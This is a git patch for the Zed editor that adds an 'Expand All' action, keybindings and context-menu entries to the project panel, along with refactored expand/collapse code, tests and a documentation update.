Add `ExpandAllEntries` action, keybinding, and right-click context menu
entries for expand/collapse all in the project panel.

- Add `ExpandAllEntries` action + handler + `expand_all_entries()`
method
- Add `cmd-right` / `ctrl-right` keybinding for `ExpandAllEntries`,
mirroring
  the existing `cmd-left` for `CollapseAllEntries`
- Add "Expand All" to root-entry and folder right-click context menus
- Add keybinding hint to root-entry "Collapse All" context menu entry
- Per-worktree behavior: context menu actions affect only the selected
worktree,
  subfolder "Expand All" expands from that folder down

# Objective

The project panel had no discoverable way to expand or collapse all
entries. The only ways were keyboard shortcuts (`cmd-left` for collapse
all)
or the right-click context menu. The global `ExpandAllEntries` shortcut
(`cmd-right`) was also missing. This PR adds that shortcut and exposes
both actions in the context menu so users learn the keybindings while
keeping the UI minimal.

## Solution

- Add `ExpandAllEntries` action + handler + `expand_all_entries()`
method
- Add `cmd-right` / `ctrl-right` keybinding for `ExpandAllEntries`
(global),
  mirroring the existing `cmd-left` for `CollapseAllEntries`
- Add "Expand All" to the right-click context menu for both root entries
and
  subfolder entries
- Update root-entry "Collapse All" to show its keybinding hint via
  `.action(Box::new(CollapseAllEntries))`
- **Per-worktree behavior**: each root entry's context menu actions
affect
only that worktree, subfolder "Expand All" expands from that folder down

## Testing

- Added 6 GPUI tests in `project_panel_tests.rs`:
  - `test_expand_all_entries`: single worktree
- `test_expand_all_entries_multiple_worktrees`: global expand across
worktrees
  - `test_expand_all_entries_via_window_dispatch`: action dispatch path
  - `test_per_worktree_expand`: expand only the clicked worktree
- `test_per_worktree_collapse`: collapse only the clicked worktree, keep
root visible
  - `test_expand_all_entries_with_auto_fold`: expand with auto_fold_dirs
- Ran `cargo test -p project_panel`: 106 pass

**Manual testing for reviewers:**

1. Open a project with nested directories and open the Project Panel
2. Right-click a root entry, confirm "Expand All" and "Collapse All"
appear
   with their keybinding hints (`⌘→` / `⌘←`)
3. Right-click a subfolder, confirm "Expand All" and "Collapse All"
appear
4. Click "Expand All" on a subfolder, confirm only that folder's subtree
expands
5. Click "Collapse All", confirm children collapse but the root stays
visible
6. Open a multi-folder workspace. Right-click the second root and click
   "Expand All", confirm only that folder expands
7. Press `cmd-right` (or `ctrl-right`), confirm all worktrees expand
globally

Tested on macOS only. Linux and Windows should behave the same since
there
is no platform-specific code.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase



https://github.com/user-attachments/assets/adc501d7-8e3a-4687-aef0-dc00426d232d

---

Release Notes:

- Added `Expand All` and `Collapse All` to the project panel right-click
  context menu with keybinding hints.
- Added `cmd-right` / `ctrl-right` keybinding to expand all entries.

---------

Co-authored-by: Danilo Leal <daniloleal09@gmail.com>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
---
 assets/keymaps/default-linux.json             |   1 +
 assets/keymaps/default-macos.json             |   1 +
 assets/keymaps/default-windows.json           |   1 +
 crates/project_panel/src/project_panel.rs     | 260 ++++++++-----
 .../project_panel/src/project_panel_tests.rs  | 367 ++++++++++++------
 docs/src/project-panel.md                     |   3 +-
 6 files changed, 408 insertions(+), 225 deletions(-)

diff --git a/assets/keymaps/default-linux.json b/assets/keymaps/default-linux.json
index f0afef2e7b2a1b..bf9f84ad21d009 100644
--- a/assets/keymaps/default-linux.json
+++ b/assets/keymaps/default-linux.json
@@ -955,6 +955,7 @@
       "left": "project_panel::CollapseSelectedEntry",
       "ctrl-left": "project_panel::CollapseAllEntries",
       "right": "project_panel::ExpandSelectedEntry",
+      "ctrl-right": "project_panel::ExpandAllEntries",
       "new": "project_panel::NewFile",
       "ctrl-n": "project_panel::NewFile",
       "alt-new": "project_panel::NewDirectory",
diff --git a/assets/keymaps/default-macos.json b/assets/keymaps/default-macos.json
index 7967ca5bc71a22..6896193e50ca0d 100644
--- a/assets/keymaps/default-macos.json
+++ b/assets/keymaps/default-macos.json
@@ -1019,6 +1019,7 @@
       "left": "project_panel::CollapseSelectedEntry",
       "cmd-left": "project_panel::CollapseAllEntries",
       "right": "project_panel::ExpandSelectedEntry",
+      "cmd-right": "project_panel::ExpandAllEntries",
       "cmd-n": "project_panel::NewFile",
       "cmd-d": "project_panel::Duplicate",
       "alt-cmd-n": "project_panel::NewDirectory",
diff --git a/assets/keymaps/default-windows.json b/assets/keymaps/default-windows.json
index dfe8c1dff1302a..f27fe19a7fa2c7 100644
--- a/assets/keymaps/default-windows.json
+++ b/assets/keymaps/default-windows.json
@@ -956,6 +956,7 @@
       "left": "project_panel::CollapseSelectedEntry",
       "ctrl-left": "project_panel::CollapseAllEntries",
       "right": "project_panel::ExpandSelectedEntry",
+      "ctrl-right": "project_panel::ExpandAllEntries",
       "ctrl-n": "project_panel::NewFile",
       "alt-n": "project_panel::NewDirectory",
       "ctrl-x": "project_panel::Cut",
diff --git a/crates/project_panel/src/project_panel.rs b/crates/project_panel/src/project_panel.rs
index da0cfe2789b38c..ef1981db60caa1 100644
--- a/crates/project_panel/src/project_panel.rs
+++ b/crates/project_panel/src/project_panel.rs
@@ -61,10 +61,9 @@ use std::{
 };
 use theme_settings::ThemeSettings;
 use ui::{
-    Color, ContextMenu, ContextMenuEntry, DecoratedIcon, Icon, IconDecoration, IconDecorationKind,
-    IndentGuideColors, IndentGuideLayout, Indicator, KeyBinding, Label, LabelSize, ListItem,
-    ListItemSpacing, ProjectEmptyState, ScrollAxes, ScrollableHandle, Scrollbars, StickyCandidate,
-    Tooltip, WithScrollbar, prelude::*, v_flex,
+    ContextMenu, DecoratedIcon, IconDecoration, IconDecorationKind, IndentGuideColors,
+    IndentGuideLayout, Indicator, KeyBinding, ListItem, ListItemSpacing, ProjectEmptyState,
+    ScrollAxes, ScrollableHandle, Scrollbars, StickyCandidate, Tooltip, WithScrollbar, prelude::*,
 };
 use util::{
     ResultExt, TakeUntilExt, TryFutureExt,
@@ -340,8 +339,12 @@ actions!(
         CollapseSelectedEntry,
         /// Collapses the selected entry and its children in the project tree.
         CollapseSelectedEntryAndChildren,
+        /// Expands the selected entry and its children in the project tree.
+        ExpandSelectedEntryAndChildren,
         /// Collapses all entries in the project tree.
         CollapseAllEntries,
+        /// Expands all entries in the project tree.
+        ExpandAllEntries,
         /// Creates a new directory.
         NewDirectory,
         /// Creates a new file.
@@ -502,6 +505,14 @@ pub fn init(cx: &mut App) {
             }
         });
 
+        workspace.register_action(|workspace, action: &ExpandAllEntries, window, cx| {
+            if let Some(panel) = workspace.panel::<ProjectPanel>(cx) {
+                panel.update(cx, |panel, cx| {
+                    panel.expand_all_entries(action, window, cx);
+                });
+            }
+        });
+
         workspace.register_action(|workspace, action: &Rename, window, cx| {
             workspace.open_panel::<ProjectPanel>(window, cx);
             if let Some(panel) = workspace.panel::<ProjectPanel>(cx) {
@@ -720,40 +731,12 @@ impl ProjectPanel {
                         cx.notify();
                     }
                     project::Event::ExpandedAllForEntry(worktree_id, entry_id) => {
-                        if let Some((worktree, expanded_dir_ids)) = project
-                            .read(cx)
-                            .worktree_for_id(*worktree_id, cx)
-                            .zip(this.state.expanded_dir_ids.get_mut(worktree_id))
-                        {
-                            let worktree = worktree.read(cx);
-
-                            let Some(entry) = worktree.entry_for_id(*entry_id) else {
-                                return;
-                            };
-                            let include_ignored_dirs = !entry.is_ignored;
-
-                            let mut dirs_to_expand = vec![*entry_id];
-                            while let Some(current_id) = dirs_to_expand.pop() {
-                                let Some(current_entry) = worktree.entry_for_id(current_id) else {
-                                    continue;
-                                };
-                                for child in worktree.child_entries(&current_entry.path) {
-                                    if !child.is_dir() || (include_ignored_dirs && child.is_ignored)
-                                    {
-                                        continue;
-                                    }
-
-                                    dirs_to_expand.push(child.id);
-
-                                    if let Err(ix) = expanded_dir_ids.binary_search(&child.id) {
-                                        expanded_dir_ids.insert(ix, child.id);
-                                    }
-                                    this.state.unfolded_dir_ids.insert(child.id);
-                                }
-                            }
-                            this.update_visible_entries(None, false, false, window, cx);
-                            cx.notify();
-                        }
+                        this.synchronously_expand_all_directories(
+                            *worktree_id,
+                            *entry_id,
+                            window,
+                            cx,
+                        );
                     }
                     _ => {}
                 },
@@ -1120,7 +1103,6 @@ impl ProjectPanel {
             };
 
             let has_pasteable_content = self.has_pasteable_content(cx);
-            let entity = cx.entity();
             let context_menu = ContextMenu::build(window, cx, |menu, _, cx| {
                 menu.context(self.focus_handle.clone()).map(|menu| {
                     if is_read_only {
@@ -1223,22 +1205,17 @@ impl ProjectPanel {
                                     .action("Remove from Project", Box::new(RemoveFromProject))
                             })
                             .when(is_dir && !is_root, |menu| {
-                                menu.separator().action(
-                                    "Collapse All",
-                                    Box::new(CollapseSelectedEntryAndChildren),
-                                )
+                                menu.separator()
+                                    .action("Expand All", Box::new(ExpandSelectedEntryAndChildren))
+                                    .action(
+                                        "Collapse All",
+                                        Box::new(CollapseSelectedEntryAndChildren),
+                                    )
                             })
                             .when(is_dir && is_root, |menu| {
-                                let entity = entity.clone();
-                                menu.separator().item(
-                                    ContextMenuEntry::new("Collapse All").handler(
-                                        move |window, cx| {
-                                            entity.update(cx, |this, cx| {
-                                                this.collapse_all_for_root(window, cx);
-                                            });
-                                        },
-                                    ),
-                                )
+                                menu.separator()
+                                    .action("Expand All", Box::new(ExpandAllEntries))
+                                    .action("Collapse All", Box::new(CollapseAllEntries))
                             })
                     }
                 })
@@ -1421,31 +1398,59 @@ impl ProjectPanel {
         }
     }
 
-    /// Handles "Collapse All" from the context menu when a root directory is selected.
-    /// With a single visible worktree, keeps the root expanded (matching CollapseAllEntries behavior).
-    /// With multiple visible worktrees, collapses the root and all its children.
-    fn collapse_all_for_root(&mut self, window: &mut Window, cx: &mut Context<Self>) {
-        let Some((worktree, entry)) = self.selected_entry(cx) else {
-            return;
-        };
-
-        let is_root = worktree.root_entry().map(|e| e.id) == Some(entry.id);
-        if !is_root {
-            return;
-        }
-
-        let worktree_id = worktree.id();
-        let root_id = entry.id;
-
+    fn collapse_worktree_expanded_dirs(
+        &mut self,
+        worktree_id: WorktreeId,
+        root_id: ProjectEntryId,
+        cx: &App,
+    ) {
+        let single_worktree = self.project.read(cx).visible_worktrees(cx).count() == 1;
         if let Some(expanded_dir_ids) = self.state.expanded_dir_ids.get_mut(&worktree_id) {
-            if self.project.read(cx).visible_worktrees(cx).count() == 1 {
+            if single_worktree {
                 expanded_dir_ids.retain(|id| id == &root_id);
             } else {
                 expanded_dir_ids.clear();
             }
         }
+    }
+
+    fn all_worktree_roots(&self, cx: &App) -> Vec<(WorktreeId, ProjectEntryId)> {
+        self.project
+            .read(cx)
+            .visible_worktrees(cx)
+            .filter_map(|worktree| {
+                let worktree = worktree.read(cx);
+                Some((worktree.id(), worktree.root_entry()?.id))
+            })
+            .collect()
+    }
+
+    fn expand_worktree_roots(
+        &mut self,
+        roots: Vec<(WorktreeId, ProjectEntryId)>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        for (worktree_id, root_id) in roots {
+            self.expand_all_for_entry(worktree_id, root_id, cx);
+            self.synchronously_expand_all_directories_internal(worktree_id, root_id, cx);
+        }
+
+        self.update_visible_entries(None, false, false, window, cx);
+        cx.notify();
+    }
+
+    fn collapse_worktree_roots(
+        &mut self,
+        roots: Vec<(WorktreeId, ProjectEntryId)>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        for (worktree_id, root_id) in roots {
+            self.collapse_worktree_expanded_dirs(worktree_id, root_id, cx);
+        }
 
-        self.update_visible_entries(Some((worktree_id, root_id)), false, false, window, cx);
+        self.update_visible_entries(None, false, false, window, cx);
         cx.notify();
     }
 
@@ -1455,39 +1460,100 @@ impl ProjectPanel {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) {
-        // By keeping entries for fully collapsed worktrees, we avoid expanding them within update_visible_entries
-        // (which is it's default behavior when there's no entry for a worktree in expanded_dir_ids).
-        let multiple_worktrees = self.project.read(cx).visible_worktrees(cx).count() > 1;
-        let project = self.project.read(cx);
+        let roots = self.all_worktree_roots(cx);
+        self.collapse_worktree_roots(roots, window, cx);
+    }
 
-        self.state
-            .expanded_dir_ids
-            .iter_mut()
-            .for_each(|(worktree_id, expanded_entries)| {
-                if multiple_worktrees {
-                    *expanded_entries = Default::default();
-                    return;
-                }
+    fn expand_all_entries(
+        &mut self,
+        _: &ExpandAllEntries,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        let roots = self.all_worktree_roots(cx);
+        self.expand_worktree_roots(roots, window, cx);
+    }
 
-                let root_entry_id = project
-                    .worktree_for_id(*worktree_id, cx)
-                    .map(|worktree| worktree.read(cx).snapshot())
-                    .and_then(|worktree_snapshot| {
-                        worktree_snapshot.root_entry().map(|entry| entry.id)
-                    });
+    fn expand_all_for_entry_and_refresh(
+        &mut self,
+        worktree_id: WorktreeId,
+        entry_id: ProjectEntryId,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.expand_all_for_entry(worktree_id, entry_id, cx);
+        self.synchronously_expand_all_directories(worktree_id, entry_id, window, cx);
+    }
 
-                match root_entry_id {
-                    Some(id) => {
-                        expanded_entries.retain(|entry_id| entry_id == &id);
-                    }
-                    None => *expanded_entries = Default::default(),
-                };
-            });
+    fn expand_selected_entry_and_children(
+        &mut self,
+        _: &ExpandSelectedEntryAndChildren,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        if let Some((worktree, entry)) = self.selected_entry(cx) {
+            let worktree_id = worktree.id();
+            let entry_id = entry.id;
+            self.expand_all_for_entry_and_refresh(worktree_id, entry_id, window, cx);
+        }
+    }
 
+    fn synchronously_expand_all_directories(
+        &mut self,
+        worktree_id: WorktreeId,
+        entry_id: ProjectEntryId,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.synchronously_expand_all_directories_internal(worktree_id, entry_id, cx);
         self.update_visible_entries(None, false, false, window, cx);
         cx.notify();
     }
 
+    fn synchronously_expand_all_directories_internal(
+        &mut self,
+        worktree_id: WorktreeId,
+        entry_id: ProjectEntryId,
+        cx: &mut Context<Self>,
+    ) {
+        let project = self.project.read(cx);
+        let Some((worktree, expanded_dir_ids)) = project
+            .worktree_for_id(worktree_id, cx)
+            .zip(self.state.expanded_dir_ids.get_mut(&worktree_id))
+        else {
+            return;
+        };
+
+        let worktree = worktree.read(cx);
+        let Some(entry) = worktree.entry_for_id(entry_id) else {
+            return;
+        };
+        let include_ignored_dirs = !entry.is_ignored;
+
+        if let Err(ix) = expanded_dir_ids.binary_search(&entry_id) {
+            expanded_dir_ids.insert(ix, entry_id);
+        }
+
+        let mut dirs_to_expand = vec![entry_id];
+        while let Some(current_id) = dirs_to_expand.pop() {
+            let Some(current_entry) = worktree.entry_for_id(current_id) else {
+                continue;
+            };
+            for child in worktree.child_entries(&current_entry.path) {
+                if !child.is_dir() || (include_ignored_dirs && child.is_ignored) {
+                    continue;
+                }
+
+                dirs_to_expand.push(child.id);
+
+                if let Err(ix) = expanded_dir_ids.binary_search(&child.id) {
+                    expanded_dir_ids.insert(ix, child.id);
+                }
+                self.state.unfolded_dir_ids.insert(child.id);
+            }
+        }
+    }
+
     fn toggle_expanded(
         &mut self,
         entry_id: ProjectEntryId,
@@ -6797,7 +6863,9 @@ impl Render for ProjectPanel {
                 .on_action(cx.listener(Self::expand_selected_entry))
                 .on_action(cx.listener(Self::collapse_selected_entry))
                 .on_action(cx.listener(Self::collapse_all_entries))
+                .on_action(cx.listener(Self::expand_all_entries))
                 .on_action(cx.listener(Self::collapse_selected_entry_and_children))
+                .on_action(cx.listener(Self::expand_selected_entry_and_children))
                 .on_action(cx.listener(Self::open))
                 .on_action(cx.listener(Self::open_permanent))
                 .on_action(cx.listener(Self::open_split_vertical))
diff --git a/crates/project_panel/src/project_panel_tests.rs b/crates/project_panel/src/project_panel_tests.rs
index a228749dc1692f..d1a0f3b209eb0c 100644
--- a/crates/project_panel/src/project_panel_tests.rs
+++ b/crates/project_panel/src/project_panel_tests.rs
@@ -8163,115 +8163,161 @@ async fn test_collapse_non_root_multi_worktree(cx: &mut gpui::TestAppContext) {
 }
 
 #[gpui::test]
-async fn test_collapse_all_for_root_single_worktree(cx: &mut gpui::TestAppContext) {
-    init_test(cx);
+async fn test_expand_all_entries(cx: &mut gpui::TestAppContext) {
+    init_test_with_editor(cx);
 
     let fs = FakeFs::new(cx.executor());
     fs.insert_tree(
-        path!("/root"),
+        "/project_root",
         json!({
-            "dir1": {
-                "subdir1": {
-                    "file1.txt": ""
+            "dir_1": {
+                "nested_dir": {
+                    "file_a.py": "# File contents",
+                    "file_b.py": "# File contents",
+                    "file_c.py": "# File contents",
                 },
-                "file2.txt": ""
+                "file_1.py": "# File contents",
+                "file_2.py": "# File contents",
+                "file_3.py": "# File contents",
             },
-            "dir2": {
-                "file3.txt": ""
+            "dir_2": {
+                "file_1.py": "# File contents",
+                "file_2.py": "# File contents",
+                "file_3.py": "# File contents",
             }
         }),
     )
     .await;
 
-    let project = Project::test(fs.clone(), [path!("/root").as_ref()], cx).await;
+    let project = Project::test(fs.clone(), ["/project_root".as_ref()], cx).await;
     let window = cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
     let workspace = window
         .read_with(cx, |mw, _| mw.workspace().clone())
         .unwrap();
     let cx = &mut VisualTestContext::from_window(window.into(), cx);
-
     let panel = workspace.update_in(cx, ProjectPanel::new);
     cx.run_until_parked();
 
-    toggle_expand_dir(&panel, "root/dir1", cx);
-    toggle_expand_dir(&panel, "root/dir1/subdir1", cx);
-    toggle_expand_dir(&panel, "root/dir2", cx);
-
+    panel.update_in(cx, |panel, window, cx| {
+        panel.collapse_all_entries(&CollapseAllEntries, window, cx)
+    });
+    cx.executor().run_until_parked();
     assert_eq!(
-        visible_entries_as_strings(&panel, 0..20, cx),
-        &[
-            "v root",
-            "    v dir1",
-            "        v subdir1",
-            "              file1.txt",
-            "          file2.txt",
-            "    v dir2  <== selected",
-            "          file3.txt",
-        ],
-        "Initial state with directories expanded"
+        visible_entries_as_strings(&panel, 0..10, cx),
+        &["v project_root", "    > dir_1", "    > dir_2",]
     );
 
-    select_path(&panel, "root", cx);
-    cx.run_until_parked();
-
     panel.update_in(cx, |panel, window, cx| {
-        panel.collapse_all_for_root(window, cx);
+        panel.expand_all_entries(&ExpandAllEntries, window, cx)
     });
-    cx.run_until_parked();
+    cx.executor().run_until_parked();
 
-    assert_eq!(
-        visible_entries_as_strings(&panel, 0..20, cx),
-        &["v root  <== selected", "    > dir1", "    > dir2"],
-        "Root should remain expanded but all children should be collapsed"
+    let entries = visible_entries_as_strings(&panel, 0..20, cx);
+    assert_eq!(entries.len(), 13, "should show all 13 entries");
+    assert!(entries[0].starts_with("v project_root"), "root expanded");
+    assert!(entries[1].contains("v dir_1"), "dir_1 expanded");
+    assert!(entries[2].contains("v nested_dir"), "nested_dir expanded");
+    assert!(
+        entries.iter().any(|e| e.contains("file_a.py")),
+        "file_a visible"
+    );
+    assert!(
+        entries.iter().any(|e| e.contains("file_c.py")),
+        "file_c visible"
     );
+    assert!(
+        entries.iter().any(|e| e.contains("v dir_2")),
+        "dir_2 expanded"
+    );
+    assert!(
+        !entries.iter().any(|e| e.contains("> ")),
+        "no collapsed dirs"
+    );
+}
 
-    toggle_expand_dir(&panel, "root/dir1", cx);
+#[gpui::test]
+async fn test_expand_all_entries_multiple_worktrees(cx: &mut gpui::TestAppContext) {
+    init_test_with_editor(cx);
+
+    let fs = FakeFs::new(cx.executor());
+    let worktree_content = json!({
+        "dir_1": {
+            "file_1.py": "# File contents",
+        },
+        "dir_2": {
+            "file_1.py": "# File contents",
+        }
+    });
+
+    fs.insert_tree("/project_root_1", worktree_content.clone())
+        .await;
+    fs.insert_tree("/project_root_2", worktree_content).await;
+
+    let project = Project::test(
+        fs.clone(),
+        ["/project_root_1".as_ref(), "/project_root_2".as_ref()],
+        cx,
+    )
+    .await;
+    let window = cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+    let workspace = window
+        .read_with(cx, |mw, _| mw.workspace().clone())
+        .unwrap();
+    let cx = &mut VisualTestContext::from_window(window.into(), cx);
+    let panel = workspace.update_in(cx, ProjectPanel::new);
     cx.run_until_parked();
 
+    panel.update_in(cx, |panel, window, cx| {
+        panel.collapse_all_entries(&CollapseAllEntries, window, cx)
+    });
+    cx.executor().run_until_parked();
+    assert_eq!(
+        visible_entries_as_strings(&panel, 0..10, cx),
+        &["> project_root_1", "> project_root_2",]
+    );
+
+    panel.update_in(cx, |panel, window, cx| {
+        panel.expand_all_entries(&ExpandAllEntries, window, cx)
+    });
+    cx.executor().run_until_parked();
     assert_eq!(
         visible_entries_as_strings(&panel, 0..20, cx),
         &[
-            "v root",
-            "    v dir1  <== selected",
-            "        > subdir1",
-            "          file2.txt",
-            "    > dir2",
-        ],
-        "After re-expanding dir1, subdir1 should still be collapsed"
+            "v project_root_1",
+            "    v dir_1",
+            "          file_1.py",
+            "    v dir_2",
+            "          file_1.py",
+            "v project_root_2",
+            "    v dir_1",
+            "          file_1.py",
+            "    v dir_2",
+            "          file_1.py",
+        ]
     );
 }
 
 #[gpui::test]
-async fn test_collapse_all_for_root_multi_worktree(cx: &mut gpui::TestAppContext) {
-    init_test(cx);
+async fn test_expand_all_entries_via_window_dispatch(cx: &mut gpui::TestAppContext) {
+    init_test_with_editor(cx);
 
     let fs = FakeFs::new(cx.executor());
-    fs.insert_tree(
-        path!("/root1"),
-        json!({
-            "dir1": {
-                "subdir1": {
-                    "file1.txt": ""
-                },
-                "file2.txt": ""
-            }
-        }),
-    )
-    .await;
-    fs.insert_tree(
-        path!("/root2"),
-        json!({
-            "dir2": {
-                "file3.txt": ""
-            },
-            "file4.txt": ""
-        }),
-    )
-    .await;
+    let worktree_content = json!({
+        "dir_1": {
+            "file_1.py": "# File contents",
+        },
+        "dir_2": {
+            "file_1.py": "# File contents",
+        }
+    });
+
+    fs.insert_tree("/project_root_1", worktree_content.clone())
+        .await;
+    fs.insert_tree("/project_root_2", worktree_content).await;
 
     let project = Project::test(
         fs.clone(),
-        [path!("/root1").as_ref(), path!("/root2").as_ref()],
+        ["/project_root_1".as_ref(), "/project_root_2".as_ref()],
         cx,
     )
     .await;
@@ -8280,66 +8326,135 @@ async fn test_collapse_all_for_root_multi_worktree(cx: &mut gpui::TestAppContext
         .read_with(cx, |mw, _| mw.workspace().clone())
         .unwrap();
     let cx = &mut VisualTestContext::from_window(window.into(), cx);
-
-    let panel = workspace.update_in(cx, ProjectPanel::new);
+    cx.update(|_, cx| {
+        let settings = *ProjectPanelSettings::get_global(cx);
+        ProjectPanelSettings::override_global(
+            ProjectPanelSettings {
+                auto_reveal_entries: false,
+                ..settings
+            },
+            cx,
+        );
+    });
+    let panel = workspace.update_in(cx, |workspace, window, cx| {
+        let panel = ProjectPanel::new(workspace, window, cx);
+        workspace.add_panel(panel.clone(), window, cx);
+        panel
+    });
     cx.run_until_parked();
 
-    toggle_expand_dir(&panel, "root1/dir1", cx);
-    toggle_expand_dir(&panel, "root1/dir1/subdir1", cx);
-    toggle_expand_dir(&panel, "root2/dir2", cx);
+    panel.update_in(cx, |panel, window, cx| {
+        panel.collapse_all_entries(&CollapseAllEntries, window, cx)
+    });
+    cx.executor().run_until_parked();
+    assert_eq!(
+        visible_entries_as_strings(&panel, 0..10, cx),
+        &["> project_root_1", "> project_root_2",]
+    );
 
+    panel.update_in(cx, |panel, window, cx| {
+        panel.focus_handle(cx).focus(window, cx);
+    });
+    cx.dispatch_action(ExpandAllEntries);
+    cx.executor().run_until_parked();
     assert_eq!(
         visible_entries_as_strings(&panel, 0..20, cx),
         &[
-            "v root1",
-            "    v dir1",
-            "        v subdir1",
-            "              file1.txt",
-            "          file2.txt",
-            "v root2",
-            "    v dir2  <== selected",
-            "          file3.txt",
-            "      file4.txt",
-        ],
-        "Initial state with directories expanded across worktrees"
+            "v project_root_1",
+            "    v dir_1",
+            "          file_1.py",
+            "    v dir_2",
+            "          file_1.py",
+            "v project_root_2",
+            "    v dir_1",
+            "          file_1.py",
+            "    v dir_2",
+            "          file_1.py",
+        ]
     );
+}
 
-    select_path(&panel, "root1", cx);
+#[gpui::test]
+async fn test_expand_all_for_entry_single_worktree(cx: &mut gpui::TestAppContext) {
+    init_test_with_editor(cx);
+
+    let fs = FakeFs::new(cx.executor());
+    let worktree_content = json!({
+        "dir_1": {
+            "file_1.py": "# File contents",
+        },
+        "dir_2": {
+            "file_1.py": "# File contents",
+        }
+    });
+
+    fs.insert_tree("/project_root_1", worktree_content.clone())
+        .await;
+    fs.insert_tree("/project_root_2", worktree_content).await;
+
+    let project = Project::test(
+        fs.clone(),
+        ["/project_root_1".as_ref(), "/project_root_2".as_ref()],
+        cx,
+    )
+    .await;
+    let window = cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+    let workspace = window
+        .read_with(cx, |mw, _| mw.workspace().clone())
+        .unwrap();
+    let cx = &mut VisualTestContext::from_window(window.into(), cx);
+    let panel = workspace.update_in(cx, ProjectPanel::new);
     cx.run_until_parked();
 
     panel.update_in(cx, |panel, window, cx| {
-        panel.collapse_all_for_root(window, cx);
+        panel.collapse_all_entries(&CollapseAllEntries, window, cx)
     });
-    cx.run_until_parked();
+    cx.executor().run_until_parked();
+    assert_eq!(
+        visible_entries_as_strings(&panel, 0..10, cx),
+        &["> project_root_1", "> project_root_2",]
+    );
 
+    let root2_entry = find_project_entry(&panel, "project_root_2", cx).unwrap();
+    panel.update_in(cx, |panel, window, cx| {
+        let worktree_id = panel
+            .project
+            .read(cx)
+            .worktree_id_for_entry(root2_entry, cx)
+            .unwrap();
+        panel.expand_all_for_entry(worktree_id, root2_entry, cx);
+        panel.update_visible_entries(None, false, false, window, cx);
+    });
+    cx.executor().run_until_parked();
     assert_eq!(
         visible_entries_as_strings(&panel, 0..20, cx),
         &[
-            "> root1  <== selected",
-            "v root2",
-            "    v dir2",
-            "          file3.txt",
-            "      file4.txt",
-        ],
-        "With multiple worktrees, root1 should collapse completely (including itself)"
+            "> project_root_1",
+            "v project_root_2",
+            "    v dir_1",
+            "          file_1.py",
+            "    v dir_2",
+            "          file_1.py",
+        ]
     );
 }
 
 #[gpui::test]
-async fn test_collapse_all_for_root_noop_on_non_root(cx: &mut gpui::TestAppContext) {
-    init_test(cx);
+async fn test_expand_all_entries_with_auto_fold(cx: &mut gpui::TestAppContext) {
+    init_test_with_editor(cx);
 
     let fs = FakeFs::new(cx.executor());
     fs.insert_tree(
         path!("/root"),
         json!({
             "dir1": {
-                "subdir1": {
-                    "file1.txt": ""
+                "empty1": {
+                    "empty2": {
+                        "empty3": {
+                            "file.txt": ""
+                        }
+                    }
                 },
-            },
-            "dir2": {
-                "file2.txt": ""
             }
         }),
     )
@@ -8352,45 +8467,41 @@ async fn test_collapse_all_for_root_noop_on_non_root(cx: &mut gpui::TestAppConte
         .unwrap();
     let cx = &mut VisualTestContext::from_window(window.into(), cx);
 
+    cx.update(|_, cx| {
+        let settings = *ProjectPanelSettings::get_global(cx);
+        ProjectPanelSettings::override_global(
+            ProjectPanelSettings {
+                auto_fold_dirs: true,
+                ..settings
+            },
+            cx,
+        );
+    });
+
     let panel = workspace.update_in(cx, ProjectPanel::new);
     cx.run_until_parked();
 
-    toggle_expand_dir(&panel, "root/dir1", cx);
-    toggle_expand_dir(&panel, "root/dir1/subdir1", cx);
-    toggle_expand_dir(&panel, "root/dir2", cx);
-
-    assert_eq!(
-        visible_entries_as_strings(&panel, 0..20, cx),
-        &[
-            "v root",
-            "    v dir1",
-            "        v subdir1",
-            "              file1.txt",
-            "    v dir2  <== selected",
-            "          file2.txt",
-        ],
-        "Initial state with directories expanded"
-    );
-
-    select_path(&panel, "root/dir1", cx);
-    cx.run_until_parked();
+    panel.update_in(cx, |panel, window, cx| {
+        panel.collapse_all_entries(&CollapseAllEntries, window, cx)
+    });
+    cx.executor().run_until_parked();
 
     panel.update_in(cx, |panel, window, cx| {
-        panel.collapse_all_for_root(window, cx);
+        panel.expand_all_entries(&ExpandAllEntries, window, cx)
     });
-    cx.run_until_parked();
+    cx.executor().run_until_parked();
 
     assert_eq!(
         visible_entries_as_strings(&panel, 0..20, cx),
         &[
             "v root",
-            "    v dir1  <== selected",
-            "        v subdir1",
-            "              file1.txt",
-            "    v dir2",
-            "          file2.txt",
+            "    v dir1",
+            "        v empty1",
+            "            v empty2",
+            "                v empty3",
+            "                      file.txt",
         ],
-        "collapse_all_for_root should be a no-op when called on a non-root directory"
+        "expand all should unfold auto-folded directories"
     );
 }
 
diff --git a/docs/src/project-panel.md b/docs/src/project-panel.md
index 45d1bbd72fc5ee..c1a190d89053f0 100644
--- a/docs/src/project-panel.md
+++ b/docs/src/project-panel.md
@@ -17,7 +17,8 @@ status bar.
 Use the arrow keys to move through entries. {#kb
 project_panel::ExpandSelectedEntry} expands a directory and {#kb
 project_panel::CollapseSelectedEntry} collapses it. {#kb
-project_panel::CollapseAllEntries} collapses every directory at once. Press {#kb
+project_panel::CollapseAllEntries} collapses every directory at once. {#kb
+project_panel::ExpandAllEntries} expands every directory at once. Press {#kb
 project_panel::Open} or click to preview a selected file, without giving it a
 permanent tab. Editing the file or double-clicking it promotes it to a permanent tab.
 

From adedf355d5207337d243d292d14092135325f885 Mon Sep 17 00:00:00 2001
From: Dino <dinojoaocosta@gmail.com>
Date: Fri, 26 Jun 2026 18:59:47 +0100
Subject: [PATCH 122/772] git: Use version control colors in diff hunk line
